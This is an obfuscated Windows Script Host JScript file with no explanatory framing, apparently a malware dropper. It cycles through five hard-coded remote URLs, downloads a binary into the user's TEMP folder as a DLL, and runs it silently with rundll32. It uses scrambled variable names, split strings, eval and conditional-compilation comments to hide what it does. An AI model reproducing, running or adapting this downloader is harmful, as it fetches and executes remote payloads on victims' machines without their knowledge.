Vp8a0m = ["http://hippaupsup.com/3gc7c2rp","http://melkar.com/icfi5mg","http://inspireyouths.org/j48tb3","http://ausulifer.net/3xwpi","http://koratwifi.info/io4h3"];
QHj4h7t = "CkOWKI9MVUCM";
var MIx7r8m=1;
var Jb8s3t=2;
var UCv9f3a=2;
var In7p2f="437";
var SAa9a8c=WScript["CreateObject"]("WScript.Shell");
var QZr6w5f=SAa9a8c.ExpandEnvironmentStrings("%T"+"EMP%/");
var MAm3x5g=QZr6w5f + QHj4h7t;
var PGe8y1t=MAm3x5g + ".d" + "ll";
var OSs0i6e = SAa9a8c.Environment("System");
if (OSs0i6e("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var ZRl0h2n = SAa9a8c.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe");
}
else
{
var ZRl0h2n = SAa9a8c.ExpandEnvironmentStrings("%SystemRoot%\\system32\\rundll32.exe");
}
var Pt9q4l=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"];
for (var Cn9d4e=0; Cn9d4e < Pt9q4l["length"]; Cn9d4e++)
{
try
{
var BNd0p9x=WScript["CreateObject"](Pt9q4l[Cn9d4e]);
break;
}
catch (e)
{
continue;
}
};
var Nx3n8j = new ActiveXObject("Scripting.FileSystemObject");
function HCc6n6s()
{
var TKg1f2h = Nx3n8j.GetFile(PGe8y1t);
return TKg1f2h.ShortPath;
}
var AWs1k6z = 0;
for (var Gg2s1x = 0; Gg2s1x < Vp8a0m.length; Gg2s1x = Gg2s1x + 1)
{
try
{
BNd0p9x["open"]("GET", Vp8a0m[Gg2s1x], false);
BNd0p9x["send"]();
while (BNd0p9x.readystate < 4) WScript["Sleep"](100);
var Oo4z2o=this["WScript"]["CreateObject"]("ADODB.Stream");
Oo4z2o["open"]();
Oo4z2o.type=MIx7r8m;
Oo4z2o.write(BNd0p9x.ResponseBody);
Oo4z2o.position=0;
eval("Oo4z2o['Sav'+'eToFile'](PGe8y1t, UCv9f3a);");
Oo4z2o.close();
var IMb6d0y = HCc6n6s();
/*@cc_on
SAa9a8c["Run"](ZRl0h2n + " " + IMb6d0y + ",0002");
@*/
break;
}
catch (e) {continue;};
}
WScript.Quit(0);
Comments